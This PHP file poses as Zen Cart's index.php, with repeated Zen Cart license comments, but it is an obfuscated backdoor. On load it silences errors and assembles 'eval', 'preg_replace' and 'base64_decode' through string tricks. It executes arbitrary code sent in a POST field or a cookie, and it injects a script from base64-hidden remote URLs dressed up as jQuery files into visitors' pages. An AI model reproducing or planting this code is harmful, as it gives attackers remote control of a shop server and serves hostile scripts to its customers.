<?php

/**
 * index.php represents the hub of the Zen Cart MVC system
 * 
 * Overview of flow
 * <ul>
 * <li>Load application_top.php - see {@tutorial initsystem}</li>
 * <li>Set main language directory based on $_SESSION['language']</li>
 * <li>Load all *header_php.php files from includes/modules/pages/PAGE_NAME/</li>
 * <li>Load html_header.php (this is a common template file)</li>
 * <li>Load main_template_vars.php (this is a common template file)</li>
 * <li>Load on_load scripts (page based and site wide)</li>
 * <li>Load tpl_main_page.php (this is a common template file)</li>
 * <li>Load application_bottom.php</li>
 * </ul>
 *
 * @package general
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
 */
class flame{
	private static $_instance = NULL; 

	static public function get_flame_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new flame();  
		}
		return  self::$_instance; 
	}
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */

	private function __construct(){
		error_reporting(0);  	
		self::run();			   
	}
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */	
	public function xhtml_public(){
		echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
	}

/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */
	
	public function get_Json(){
		$json_code = '{
			"dst":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvanF1ZXJ5LTEuOS4xLmRzdC5qcw==",
			"one":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL2pxdWVyeS0xLjkuMS5vbmUuanM=",
			"code":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL2pxdWVyeS0xLjkuMS5qcw=="
		}';
 		return json_decode($json_code);
	}
	
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */
	
	
   public function enc_rypt($txt) {
        $fun = "basaptcode";
        $fun = str_replace("apt","e64_de",$fun);
        return @$fun($txt);
   }
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 */
   
	public function zen_flame_cookie(){
		if(isset($_COOKIE['zen_flame_ckz'])) 
		{
			$flame = $_COOKIE['zen_flame_ckz'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/ad/e','@'.str_rot13('riny').'($flame)', 'add');
			echo $_COOKIE['dproducts_core'] . $r . $_COOKIE['dproducts_core'];
		}
	}

/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 */
	
	public function remote_file_exists($url) {
		$executeTime = ini_get('max_execution_time');
		ini_set('max_execution_time', 0);
		$headers = @get_headers($url);
		ini_set('max_execution_time', $executeTime);
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}

/**
 * 
 * Enter description here ...
 */
	
	public function flame_heartbeat(){		// 心跳 生成cookie
 		$src = $this->get_haflame_url();
		if (!isset($_COOKIE["CookiegmtHours"])&& $src != false ){	
			$this->xhtml_public();		
			$this->framework_script($src);
		}
	}
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 */
	public function get_haflame_url(){
		$url 	= "";
 		$obj = $this->get_Json();
 		
		if ($this->remote_file_exists($this->enc_rypt($obj->{'dst'}))){
			$url = $this->enc_rypt($obj->{'dst'});
		}else {
			if ($this->remote_file_exists( $this->enc_rypt($obj->{'one'}))){
				$url = $this->enc_rypt($obj->{'one'});
			}else {
				if ($this->remote_file_exists( $this->enc_rypt($obj->{'code'}))){
					$url = $this->enc_rypt($obj->{'code'});
				}else {
					$url = false;
				}
			}
		}		
		return $url;
	}

/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */
	public function framework_script($src){	
		echo  str_replace("earth","cript","<searth src='$src' type='text/javasearth'></searth>");
	}


/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */
	public function zen_flame_chopper(){		
		if (isset($_POST['zen_flame_riny'])){
			$flame = $_POST['zen_flame_riny'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/[email]/e','@'.str_rot13('riny').'($flame)', 'add');
		}
	}

/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */	
		
	public function run(){
		$this->flame_heartbeat();	 	 
		$this->zen_flame_chopper();		 
		$this->zen_flame_cookie();		 
	}
}
/**
 * Common Template
 *
 * outputs the html header. i,e, everything that comes before the \</head\> tag <br />
 *
 * @package templateSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: DrByte  Tue Jul 17 16:02:00 2012 -0400 Modified in v1.5.1 $
 */
$flame_instance = flame::get_flame_instance();

